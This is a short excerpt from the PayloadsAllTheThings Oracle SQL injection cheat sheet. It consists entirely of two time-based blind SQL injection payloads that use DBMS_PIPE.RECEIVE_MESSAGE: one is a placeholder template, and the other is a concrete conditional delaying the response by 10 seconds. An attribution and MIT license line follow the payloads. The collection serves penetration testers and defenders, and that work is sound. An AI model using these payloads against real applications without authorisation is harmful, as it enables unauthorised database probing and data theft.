AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)Source: SQL Injection/OracleSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.